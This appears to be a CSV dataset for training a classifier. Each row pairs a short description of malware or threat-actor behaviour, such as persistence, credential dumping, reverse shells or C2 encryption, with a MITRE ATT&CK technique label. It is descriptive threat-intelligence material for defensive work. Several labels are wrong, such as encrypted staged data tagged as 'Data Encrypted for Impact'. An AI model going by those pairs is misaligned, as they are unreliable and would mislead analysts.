creates a backdoor through which remote attackers can retrieve information such as hostname and free disk space.,['T1082 - System Information Discovery'],fine_tune
creates a backdoor through which remote attackers can retrieve IP addresses of compromised machines.,['T1016 - System Network Configuration Discovery'],fine_tune
creates a backdoor through which remote attackers can retrieve lists of files.,['T1083 - File and Directory Discovery'],fine_tune
creates a backdoor through which remote attackers can retrieve lists of running processes.,['T1057 - Process Discovery'],fine_tune
"creates a backdoor through which remote attackers can retrieve system information, such as CPU speed, from Registry keys.",['T1012 - Query Registry'],fine_tune
creates a backdoor through which remote attackers can start a remote shell.,['T1059 - Command and Scripting Interpreter'],fine_tune
"creates a directory, %USERPROFILE%\AppData\Local\SKC\, which is used to store collected log files.",['T1074 - Data Staged'],fine_tune
creates a Launch Agent on macOS.,['T1543.001 - Create or Modify System Process: Launch Agent'],fine_tune
creates and uses a VBScript as part of its persistent execution.,['T1064 - Scripting'],fine_tune
creates a new service named “ntssrv” that attempts to appear legitimate; the service's display name is “Microsoft Network Realtime Inspection Service” and its description is “Helps guard against time change attempts targeting known and newly discovered vulnerabilities in network time protocols.”,['T1036 - Masquerading'],fine_tune
creates a new service named “ntssrv” to execute the payload.,"['T1569.002 - System Services: Service Execution', 'T1543.003 - Create or Modify System Process: Windows Service']",fine_tune
"creates a new service that loads a malicious driver when the system starts. When Duqu is active, the operating system believes that the driver is legitimate, as it has been signed with a valid private key.",['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
creates a new thread implementing a keylogging facility using Windows Keyboard Accelerators.,['T1056 - Input Capture'],fine_tune
creates a new Windows service with the malicious executable for persistence.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
creates a Registry key to ensure a file gets executed upon reboot in order to establish persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
creates a Registry Run key to establish persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
creates a Registry subkey that registers a new service.,"['T1543.003 - Create or Modify System Process: Windows Service', 'T1112 - Modify Registry']",fine_tune
"creates a Registry subkey to register its created service, and can also uninstall itself later by deleting this value. 's backdoor also enables remote attackers to modify and delete subkeys.",['T1112 - Modify Registry'],fine_tune
creates a scheduled task to establish by executing a malicious payload every subsequent minute.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
creates a scheduled task to maintain persistence on the victim’s machine.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
creates a scheduled task to run itself every three minutes.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
creates a shortcut file and saves it in a Startup folder to establish persistence.,"['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder']",fine_tune
creates a suspended svchost process and injects its DLL into it.,['T1055 - Process Injection'],fine_tune
creates a Windows service to establish persistence.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
creates folders to store output from batch scripts prior to sending the information to its C2 server.,['T1074 - Data Staged'],fine_tune
creates new services to establish persistence.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
creates processes using the Windows API calls: CreateProcessA() and CreateProcessAsUserA().,['T1106 - Native API'],fine_tune
creates Registry entries that store information about a created service and point to a malicious DLL dropped to disk.,['T1112 - Modify Registry'],fine_tune
creates Registry keys to allow itself to run as various services.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
creates run key Registry entries pointing to malicious DLLs dropped to disk.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
creates scheduled tasks to establish persistence.,['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
creates the following Registry entry: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Micromedia.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
creates then deletes log files during installation of itself as a service.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
creates valid users to provide access to the system.,['T1078 - Valid Accounts'],fine_tune
creates various subdirectories under %Temp%\reports\% and copies files to those subdirectories. It also creates a folder at C:\Users\<Username>\AppData\Roaming\Microsoft\store to store screenshot JPEG files.,['T1074 - Data Staged'],fine_tune
credential stealer ZUMKONG emails credentials from the victim using HTTP POST requests.,['T1095 - Non-Application Layer Protocol'],fine_tune
"Data captured by  is placed in a temporary file under a directory named ""memdump"".",['T1074 - Data Staged'],fine_tune
Data  copies to the staging area is compressed with zlib. Bytes are rotated by four positions and XOR'ed with 0x23.,['T1486 - Data Encrypted for Impact'],fine_tune
decodes an embedded configuration using XOR.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
decodes Base64 strings and decrypts strings using a custom XOR algorithm.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
decodes embedded XOR strings.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
decodes strings in the malware using XOR and RC4.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
decrypts and extracts a copy of its main DLL payload when executing.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"decrypts code, strings, and commands to use once it's on the victim's machine.",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
decrypts resources needed for targeting the victim.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"deleted many of its files used during operations as part of cleanup, including removing applications and deleting screenshots.",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
deleted the DLL dropper from the victim’s machine to cover their tracks.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
deletes content from C2 communications that was saved to the user's temporary directory.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
deletes data in a way that makes it unrecoverable.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
deletes files using DeleteFileW API call.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"deletes one of its files, 2.hwp, from the endpoint after establishing persistence.",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
deletes shadow copies from the victim.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
deletes the original dropped file from the victim.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
deletes the Registry key HKCU\Software\Classes\Applications\rundll32.exe\shell\open.,['T1112 - Modify Registry'],fine_tune
delivered  to victims via a compromised legitimate website.,['T1189 - Drive-by Compromise'],fine_tune
deobfuscates its strings and APIs once its executed.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
DES-encrypts captured credentials using the key 12345678 before writing the credentials to a log file.,['T1486 - Data Encrypted for Impact'],fine_tune
determines a working directory where it stores all the gathered data about the compromised machine.,['T1074 - Data Staged'],fine_tune
digitally signed an executable with a stolen certificate from legitimate company AI Squared.,['T1553.002 - Code Signing'],fine_tune
discovers information about the infected machine.,['T1082 - System Information Discovery'],fine_tune
discovers shares on the network,['T1135 - Network Share Discovery'],fine_tune
discovers the current domain information.,['T1016 - System Network Configuration Discovery'],fine_tune
"disguised its malicious binaries with several layers of obfuscation, including encrypting the files.",['T1027 - Obfuscated Files or Information'],fine_tune
DLL file and non-malicious decoy file are encrypted with RC4.,['T1027 - Obfuscated Files or Information'],fine_tune
DLL side-loading has been used to execute  through a legitimate Citrix executable ssonsvr.exe which is vulnerable to the technique. The Citrix executable was dropped along with  by the dropper.,['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
downloaded and launched code within a SCT file.,['T1064 - Scripting'],fine_tune
"downloader code has included ""0"" characters at the end of the file to inflate the file size in a likely attempt to evade anti-virus detection.",['T1027.001 - Obfuscated Files or Information: Binary Padding'],fine_tune
downloads additional files from C2 servers.,['T1105 - Ingress Tool Transfer'],fine_tune
downloads additional files that are base64-encoded and encrypted with another cipher.,['T1027 - Obfuscated Files or Information'],fine_tune
downloads additional payloads.,['T1105 - Ingress Tool Transfer'],fine_tune
downloads and executes additional malware from either a Web address or a Microsoft OneDrive account.,['T1105 - Ingress Tool Transfer'],fine_tune
downloads and executes additional PowerShell code and Windows binaries.,['T1105 - Ingress Tool Transfer'],fine_tune
downloads and executes PowerShell scripts.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
downloads and installs Tor via homebrew.,['T1090.003 - Proxy: Multi-hop Proxy'],fine_tune
downloads and uploads files on the victim’s machine.,['T1105 - Ingress Tool Transfer'],fine_tune
downloads a new version of itself once it has installed. It also downloads additional plugins.,['T1105 - Ingress Tool Transfer'],fine_tune
downloads an executable and injects it directly into a new process.,['T1055 - Process Injection'],fine_tune
downloads a PowerShell script that decodes to a typical shellcode loader.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
downloads encoded payloads and decodes them on the victim.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
downloads files onto infected hosts.,['T1105 - Ingress Tool Transfer'],fine_tune
downloads several additional files and saves them to the victim's machine.,['T1105 - Ingress Tool Transfer'],fine_tune
"dropped and executed SecretsDump and CrackMapExec, tools that can dump password hashes.",['T1003 - OS Credential Dumping'],fine_tune
"dropped and executed tools used for password cracking, including Hydra.",['T1110 - Brute Force'],fine_tune
dropper creates VBS scripts on the victim’s machine.,['T1064 - Scripting'],fine_tune
Droppers used by  use RC4 or a 16-byte XOR key consisting of the bytes 0xA0 – 0xAF to obfuscate payloads.,['T1027 - Obfuscated Files or Information'],fine_tune
drops a signed Microsoft DLL to disk.,['T1553.002 - Code Signing'],fine_tune
"drops a Word file containing a Base64-encoded file in it that is read, decoded, and dropped to the disk by the macro.",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"drops commands for a second victim onto a removable media drive inserted into the first victim, and commands are executed when the drive is inserted into the second victim.",['T1092 - Communication Through Removable Media'],fine_tune
dumped the login data database from \AppData\Local\Google\Chrome\User Data\Default\Login Data.,['T1003 - OS Credential Dumping'],fine_tune
"dumps memory from specific processes on a victim system, parses the dumped files, and scrapes them for credit card data.",['T1005 - Data from Local System'],fine_tune
"dumps usernames and passwords from Firefox, Internet Explorer, and Outlook.",['T1003 - OS Credential Dumping'],fine_tune
"During execution,  malware deobfuscates and decompresses code that was encoded with Metasploit’s shikata_ga_nai encoder as well as compressed with LZNT1 compression.",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"During its initial execution,  extracts operating system information from the infected host.",['T1082 - System Information Discovery'],fine_tune
"During the  installation process, it drops a copy of the legitimate Microsoft binary igfxtray.exe. The executable contains a side-loading weakness which is used to load a portion of the malware.",['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
"Each time a new drive is inserted,  generates a list of all files on the drive and stores it in an encrypted file.",['T1119 - Automated Collection'],fine_tune
embedded a malicious macro in a Word document and lured the victim to click on an icon to execute the malware.,['T1204 - User Execution'],fine_tune
embeds a Visual Basic script within a malicious Word document as part of initial access; the script is executed when the Word document is opened. The actors also used batch scripting.,['T1064 - Scripting'],fine_tune
"employs the same encoding scheme as  for data it stages. Data is compressed with zlib, and bytes are rotated four times before being XOR'ed with 0x23.",['T1486 - Data Encrypted for Impact'],fine_tune
enables remote interaction and can obtain additional code over HTTPS GET and POST requests.,['T1071 - Application Layer Protocol'],fine_tune
enables the Remote Desktop Protocol for persistence.,['T1021.001 - Remote Services: Remote Desktop Protocol'],fine_tune
encapsulates traffic in multiple layers of encryption.,['T1573 - Encrypted Channel'],fine_tune
encoded C2 traffic with base64.,['T1132 - Data Encoding'],fine_tune
encodes C2 beacons using XOR.,['T1573 - Encrypted Channel'],fine_tune
encodes C2 traffic with base64.,['T1132 - Data Encoding'],fine_tune
encodes C2 traffic with Base64.,['T1132 - Data Encoding'],fine_tune
encodes commands from the control server using a range of characters and gzip.,['T1132 - Data Encoding'],fine_tune
encodes communications to the C2 server in Base64.,['T1132 - Data Encoding'],fine_tune
encodes files before exfiltration.,['T1132 - Data Encoding'],fine_tune
encodes files in Base64.,['T1027 - Obfuscated Files or Information'],fine_tune
"encrypted a .dll payload using RTL and a custom encryption algorithm.  has also obfuscated payloads with base64, XOR, and RC4.",['T1027 - Obfuscated Files or Information'],fine_tune
encrypts C2 communications with RC4 as well as TLS.,['T1573 - Encrypted Channel'],fine_tune
"encrypts C2 content with XOR using a single byte, 0x12.",['T1573 - Encrypted Channel'],fine_tune
encrypts C2 traffic using AES with a static key.,['T1573 - Encrypted Channel'],fine_tune
encrypts C2 traffic using an RC4 key.,['T1573 - Encrypted Channel'],fine_tune
encrypts C2 traffic using RC4 with a static key.,['T1573 - Encrypted Channel'],fine_tune
encrypts C2 traffic with AES and RSA.,['T1573 - Encrypted Channel'],fine_tune
encrypts C2 traffic with HTTPS and also encodes it with a single-byte XOR key.,['T1573 - Encrypted Channel'],fine_tune
encrypts collected data using a single byte XOR key.,['T1486 - Data Encrypted for Impact'],fine_tune
encrypts command and control communications with RC4.,['T1573 - Encrypted Channel'],fine_tune
encrypts data sent to its C2 server over HTTP with RC4.,['T1573 - Encrypted Channel'],fine_tune
encrypts exfiltrated data with RC4.,['T1573 - Encrypted Channel'],fine_tune
"encrypts several of its files, including configuration files.",['T1027 - Obfuscated Files or Information'],fine_tune
encrypts some C2 traffic with the Blowfish cipher.,['T1573 - Encrypted Channel'],fine_tune
encrypts some of its files with XOR.,['T1027 - Obfuscated Files or Information'],fine_tune
encrypts strings in the backdoor using a custom XOR algorithm.,['T1027 - Obfuscated Files or Information'],fine_tune
encrypts strings to make analysis more difficult.,['T1027 - Obfuscated Files or Information'],fine_tune
encrypts the collected files using 3-DES.,['T1486 - Data Encrypted for Impact'],fine_tune
encrypts the message body of HTTP traffic with RC2 (in CBC mode) and Base64 encoding.,['T1573 - Encrypted Channel'],fine_tune
encrypts with the 3DES algorithm and a hardcoded key prior to exfiltration.,['T1486 - Data Encrypted for Impact'],fine_tune
enumerates directories and obtains file attributes on a system.,['T1083 - File and Directory Discovery'],fine_tune
enumerates directories and scans for certain files.,['T1083 - File and Directory Discovery'],fine_tune
enumerates local and domain users,['T1087 - Account Discovery'],fine_tune
enumerates the current network connections similar to  net use .,['T1049 - System Network Connections Discovery'],fine_tune
established persistence by adding a Shell value under the Registry key HKCU\Software\Microsoft\Windows NT\CurrentVersion]Winlogon.,['T1547.004 - Boot or Logon Autostart Execution: Winlogon Helper DLL'],fine_tune
establishes by infecting the Security Accounts Manager (SAM) DLL to load a malicious DLL dropped to disk.,['T1547.008 - Boot or Logon Autostart Execution: LSASS Driver'],fine_tune
"establishes persistence by adding a new service with the display name ""WMI Performance Adapter Extension"" in an attempt to masquerade as a legitimate WMI service.",['T1036 - Masquerading'],fine_tune
establishes persistence by adding a Registry Run key.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
establishes persistence by creating a shortcut.,['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],fine_tune
establishes persistence by creating a shortcut in the Windows startup folder to run a script each time the user logs in.,['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],fine_tune
establishes persistence by creating the Registry key HKCU\Software\Microsoft\Windows\Run.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
establishes persistence by installing a new service pointing to its DLL and setting the service to auto-start.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
establishes persistence in the Startup folder.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
establishes persistence through a Registry Run key.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
establishes persistence under the Registry key HKCU\Software\Run auto_update.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"examines running system processes for tokens that have specific system privileges. If it finds one, it will copy the token and store it for later use. Eventually it will start new processes with the stored token attached. It can also steal tokens to acquire administrative privileges.",['T1134 - Access Token Manipulation'],fine_tune
executes a batch script to store discovery information in %TEMP%\info.dat and then uploads the temporarily file to the remote C2 server.,['T1119 - Automated Collection'],fine_tune
"executes a binary on the system and logs the results into a temp file by using: cmd.exe /c ""<file_path> > %temp%\PM* .tmp 2>&1"".",['T1059 - Command and Scripting Interpreter'],fine_tune
executes additional Jscript and VBScript code on the victim's machine.,['T1064 - Scripting'],fine_tune
executes and stores obfuscated Perl scripts.,['T1027 - Obfuscated Files or Information'],fine_tune
executes BAT and VBS scripts.,['T1064 - Scripting'],fine_tune
executes cmd.exe and uses a pipe to read the results and send back the output to the C2 server.,['T1059 - Command and Scripting Interpreter'],fine_tune
executes cmd.exe to provide a reverse shell to adversaries.,['T1059 - Command and Scripting Interpreter'],fine_tune
executes commands remotely on the infected host.,['T1059 - Command and Scripting Interpreter'],fine_tune
executes commands remotely via cmd.exe.,['T1059 - Command and Scripting Interpreter'],fine_tune
executes commands using a command-line interface and reverse shell. The group has used a modified version of pentesting script wmiexec.vbs to execute commands.,['T1059 - Command and Scripting Interpreter'],fine_tune
executes functions using rundll32.exe.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
executes ipconfig /all after initial communication is made to the remote server.,['T1016 - System Network Configuration Discovery'],fine_tune
executes net start after initial communication is made to the remote server.,['T1007 - System Service Discovery'],fine_tune
executes net user after initial communication is made to the remote server.,['T1087 - Account Discovery'],fine_tune
executes payloads using the Windows API call CreateProcessW().,['T1106 - Native API'],fine_tune
executes shellcode and a script to decode Base64 strings.,['T1064 - Scripting'],fine_tune
executes systeminfo after initial communication is made to the remote server.,['T1082 - System Information Discovery'],fine_tune
executes the netstat -ano command.,['T1049 - System Network Connections Discovery'],fine_tune
executes  using PowerShell and can also perform pass-the-ticket and use Lazagne for harvesting credentials.,['T1003 - OS Credential Dumping'],fine_tune
executes using regsvr32.exe called from the  persistence mechanism.,['T1218.010 - Signed Binary Proxy Execution: Regsvr32'],fine_tune
exfiltrates collected files over FTP or WebDAV. Exfiltration servers can be separately configured from C2 servers.,['T1048 - Exfiltration Over Alternative Protocol'],fine_tune
exfiltrates command output and collected files to its C2 server in 1500-byte blocks.,['T1030 - Data Transfer Size Limits'],fine_tune
exfiltrates data by uploading it to accounts created by the actors on Web cloud storage providers for the adversaries to retrieve later.,['T1048 - Exfiltration Over Alternative Protocol'],fine_tune
exfiltrates data in compressed chunks if a message is larger than 4096 bytes .,['T1030 - Data Transfer Size Limits'],fine_tune
exfiltrates data over the same channel used for C2.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
exfiltrates data using cookie values that are Base64-encoded.,['T1132 - Data Encoding'],fine_tune
exfiltrates screenshot files to its C2 server.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
"extracts and decrypts stage 3 malware, which is stored in encrypted resources.",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Find-AVSignature AntivirusBypass module can be used to locate single byte anti-virus signatures.,['T1027.005 - Indicator Removal from Tools'],fine_tune
"finds a specified directory, lists the files and metadata about those files.",['T1083 - File and Directory Discovery'],fine_tune
"first attempts to use a Base64-encoded network protocol over a raw TCP socket for C2, and if that method fails, falls back to a secondary HTTP-based protocol to communicate to an alternate C2 server.",['T1008 - Fallback Channels'],fine_tune
first stage shellcode contains a NOP sled with alternative instructions that was likely designed to bypass antivirus tools.,['T1027 - Obfuscated Files or Information'],fine_tune
"Following data collection,  has compressed log files into a ZIP archive prior to staging and exfiltration.",['T1560 - Archive Collected Data'],fine_tune
"Following exploitation with  malware,  actors created a file containing a list of commands to be executed on the compromised computer.",['T1059 - Command and Scripting Interpreter'],fine_tune
"For all non-removable drives on a victim,  executes automated collection of certain files for later exfiltration.",['T1119 - Automated Collection'],fine_tune
"For early  versions, the compilation timestamp was faked.",['T1070.006 - Indicator Removal on Host: Timestomp'],fine_tune
gains persistence by adding the Registry key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
gathered information and files from local directories for exfiltration.,['T1005 - Data from Local System'],fine_tune
gathers and beacons the operating system build number and CPU Architecture (32-bit/64-bit) during installation.,['T1082 - System Information Discovery'],fine_tune
gathers and beacons the system time during installation.,['T1124 - System Time Discovery'],fine_tune
gathers and beacons the username of the logged in account during installation. It will also gather the username of running processes to determine if it is running as SYSTEM.,['T1033 - System Owner/User Discovery'],fine_tune
"gathers BIOS versions and manufacturers, the number of CPU cores, the total physical memory, and the computer name.",['T1082 - System Information Discovery'],fine_tune
"gathers computer names, OS version info, and also checks installed keyboard layouts to estimate if it has been launched from a certain list of countries.",['T1082 - System Information Discovery'],fine_tune
gathers domain and account names/information through process monitoring.,['T1087 - Account Discovery'],fine_tune
gathers file and directory information from the victim’s machine.,['T1083 - File and Directory Discovery'],fine_tune
gathers information about local groups and members.,['T1069 - Permission Groups Discovery'],fine_tune
gathers information about network adapters.,['T1016 - System Network Configuration Discovery'],fine_tune
gathers information about opened windows.,['T1010 - Application Window Discovery'],fine_tune
gathers information about the Registry.,['T1012 - Query Registry'],fine_tune
gathers information on local groups and members on the victim’s machine.,['T1087 - Account Discovery'],fine_tune
gathers information on users.,['T1033 - System Owner/User Discovery'],fine_tune
gathers product names from the Registry key: HKLM\Software\Microsoft\Windows NT\CurrentVersion ProductName and the processor description from the Registry key HKLM\HARDWARE\DESCRIPTION\System\CentralProcessor\0 ProcessorNameString.,['T1012 - Query Registry'],fine_tune
gathers system configuration information.,['T1082 - System Information Discovery'],fine_tune
"gathers system information, network addresses, disk type, disk free space, and the operation system version.",['T1082 - System Information Discovery'],fine_tune
"gathers the computer name, the serial number of the main disk volume, CPU information, Microsoft Windows version, and runs the command systeminfo.",['T1082 - System Information Discovery'],fine_tune
gathers the computer name and checks the OS version to ensure it doesn’t run on a Windows XP or Windows Server 2003 systems.,['T1082 - System Information Discovery'],fine_tune
gathers the current domain the victim system belongs to.,['T1016 - System Network Configuration Discovery'],fine_tune
gathers the IP address and domain from the victim’s machine.,['T1016 - System Network Configuration Discovery'],fine_tune
gathers the local system time from the victim’s machine.,['T1124 - System Time Discovery'],fine_tune
"gathers the Mac address, IP address, and the network adapter information from the victim’s machine.",['T1016 - System Network Configuration Discovery'],fine_tune
gathers the MAC address of the victim’s machine.,['T1016 - System Network Configuration Discovery'],fine_tune
"gathers the name of the local host, version of GNU Compiler Collection (GCC), and the system information about the CPU, machine, and operating system.",['T1082 - System Information Discovery'],fine_tune
"gathers the OS version, CPU type, amount of RAM available from the victim’s machine.",['T1082 - System Information Discovery'],fine_tune
"gathers the OS version, logical drives information, processor information, and volume information.",['T1082 - System Information Discovery'],fine_tune
gathers the username from the victim’s machine.,['T1033 - System Owner/User Discovery'],fine_tune
"gathers the victim's computer name, Windows version, and system language, and then sends it to its C2 server.",['T1082 - System Information Discovery'],fine_tune
"gathers the victim's IP address and domain information, and then sends it to its C2 server.",['T1016 - System Network Configuration Discovery'],fine_tune
gathers the victim username.,['T1033 - System Owner/User Discovery'],fine_tune
gathers the victim’s IP address via the ipconfig -all command.,['T1016 - System Network Configuration Discovery'],fine_tune
gathers user names from infected hosts.,['T1033 - System Owner/User Discovery'],fine_tune
gathers volume drive information and system information.,['T1082 - System Information Discovery'],fine_tune
Get-Keystrokes Exfiltration module can log keystrokes.,['T1056 - Input Capture'],fine_tune
Get-ProcessTokenGroup Privesc-PowerUp module can enumerate all SIDs associated with its current token.,['T1087 - Account Discovery'],fine_tune
Get-ProcessTokenPrivilege Privesc-PowerUp module can enumerate privileges for a given process.,['T1057 - Process Discovery'],fine_tune
gets an output of running processes using the tasklist command.,['T1057 - Process Discovery'],fine_tune
"had exploited multiple vulnerabilities for execution, including Microsoft’s Equation Editor (CVE-2017-11882), an Internet Explorer vulnerability (CVE-2018-8174), CVE-2017-8570, and CVE-2017-0199.",['T1203 - Exploitation for Client Execution'],fine_tune
harvests credentials using Invoke-Mimikatz or Windows Credentials Editor (WCE).,['T1003 - OS Credential Dumping'],fine_tune
has 2 methods for elevating integrity. It can bypass UAC through eventvwr.exe and sdclt.exe.,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
has a built-in keylogger.,['T1056 - Input Capture'],fine_tune
has a built-in module for port scanning.,['T1046 - Network Service Discovery'],fine_tune
"has a built-in utility command for netstat, can do net session through PowerView, and has an interactive shell which can be used to discover additional information.",['T1049 - System Network Connections Discovery'],fine_tune
has access to destructive malware that is capable of overwriting a machine's Master Boot Record (MBR).,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
has a command to collect the victim's IP address.,['T1016 - System Network Configuration Discovery'],fine_tune
has a command to conduct timestomping by setting a specified file’s timestamps to match those of a system file in the System32 directory.,['T1070.006 - Indicator Removal on Host: Timestomp'],fine_tune
has a command to create a reverse shell.,['T1059 - Command and Scripting Interpreter'],fine_tune
has a command to delete a file and deletes files after they have been successfully uploaded to C2 servers.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
has a command to delete files.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
has a command to delete its Registry key and scheduled task.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
has a command to disable routing and the Firewall on the victim’s machine.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],fine_tune
has a command to download a file.,['T1105 - Ingress Tool Transfer'],fine_tune
has a command to download a file from the C2 server to the victim mobile device's SD card.,['T1105 - Ingress Tool Transfer'],fine_tune
has a command to download a file to the system from its C2 server.,['T1105 - Ingress Tool Transfer'],fine_tune
has a command to download an .exe and use process hollowing to inject it into a new process.,['T1055.012 - Process Injection: Process Hollowing'],fine_tune
has a command to download and execute an additional file.,['T1105 - Ingress Tool Transfer'],fine_tune
has a command to download and executes additional files.,['T1105 - Ingress Tool Transfer'],fine_tune
has a command to edit the Registry on the victim’s machine.,['T1112 - Modify Registry'],fine_tune
has a command to gather system information from the victim’s machine.,['T1082 - System Information Discovery'],fine_tune
has a command to get text of the current foreground window.,['T1010 - Application Window Discovery'],fine_tune
has a command to get the victim's domain and NetBIOS name.,['T1016 - System Network Configuration Discovery'],fine_tune
has a command to list account information on the victim’s machine.,['T1087 - Account Discovery'],fine_tune
"has a command to list all servers in the domain, as well as one to locate domain controllers on a domain.",['T1018 - Remote System Discovery'],fine_tune
has a command to list its directory and logical drives.,['T1083 - File and Directory Discovery'],fine_tune
has a command to list the victim's processes.,['T1057 - Process Discovery'],fine_tune
has a command to obtain a directory listing.,['T1083 - File and Directory Discovery'],fine_tune
has a command to obtain a process listing.,['T1057 - Process Discovery'],fine_tune
has a command to retrieve information about connected users.,['T1087 - Account Discovery'],fine_tune
has a command to retrieve metadata for files on disk as well as a command to list the current working directory.,['T1083 - File and Directory Discovery'],fine_tune
has a command to return a list of running processes.,['T1057 - Process Discovery'],fine_tune
has a command to set certain attributes such as creation/modification timestamps on files.,['T1070.006 - Indicator Removal on Host: Timestomp'],fine_tune
has a command to take a screenshot and send it to the C2 server.,['T1113 - Screen Capture'],fine_tune
has a command to upload a file to the victim machine.,['T1105 - Ingress Tool Transfer'],fine_tune
has a command to upload information about all running processes to its C2 server.,['T1057 - Process Discovery'],fine_tune
has a command to upload to its C2 server victim browser bookmarks.,['T1217 - Browser Bookmark Discovery'],fine_tune
"has a command to upload to its C2 server victim mobile device information, including IMEI, IMSI, SIM card serial number, phone number, Android version, and other information.",['T1082 - System Information Discovery'],fine_tune
has a command to write random data across a file and delete it.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
has added persistence via the Registry key HKCU\Software\Microsoft\CurrentVersion\Run\.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
has added Registry Run keys to establish persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
has added the path of its second-stage malware to the startup folder to achieve persistence. One of its file stealers has also persisted by adding a Registry Run key.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
has a function for decrypting data containing C2 configuration information.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
has a keylogger.,['T1056 - Input Capture'],fine_tune
has a module for loading and executing PowerShell scripts.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
has a module for performing remote desktop access.,['T1021.001 - Remote Services: Remote Desktop Protocol'],fine_tune
has a module to clear event logs with PowerShell.,['T1070 - Indicator Removal on Host'],fine_tune
has a package that collects documents from any inserted USB sticks.,['T1025 - Data from Removable Media'],fine_tune
has a plugin that can perform ARP scanning as well as port scanning.,['T1046 - Network Service Discovery'],fine_tune
has a plugin to detect active drivers of some security products.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
has a plugin to drop and execute vulnerable Outpost Sandbox or avast! Virtualization drivers in order to gain kernel mode privileges.,['T1068 - Exploitation for Privilege Escalation'],fine_tune
has a tool called CANDYKING to capture a screenshot of user's desktop.,['T1113 - Screen Capture'],fine_tune
has a tool that can copy files to remote machines.,['T1105 - Ingress Tool Transfer'],fine_tune
has a tool that can detect the existence of remote systems.,['T1018 - Remote System Discovery'],fine_tune
has a tool that can enumerate current network connections.,['T1049 - System Network Connections Discovery'],fine_tune
has a tool that can enumerate the permissions associated with Windows groups.,['T1069 - Permission Groups Discovery'],fine_tune
has a tool that can list out currently running processes.,['T1057 - Process Discovery'],fine_tune
has a tool that can locate credentials in files on the file system such as those from Firefox or Chrome.,['T1552.001 - Unsecured Credentials: Credentials In Files'],fine_tune
has a tool that can run DLLs.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
has a tool that exfiltrates data over the C2 channel.,['T1041 - Exfiltration Over C2 Channel'],fine_tune
has a tool that looks for files and directories on the local file system.,['T1083 - File and Directory Discovery'],fine_tune
has attached a malicious document to an email to gain initial access.,['T1598.002 - Spearphishing Attachment'],fine_tune
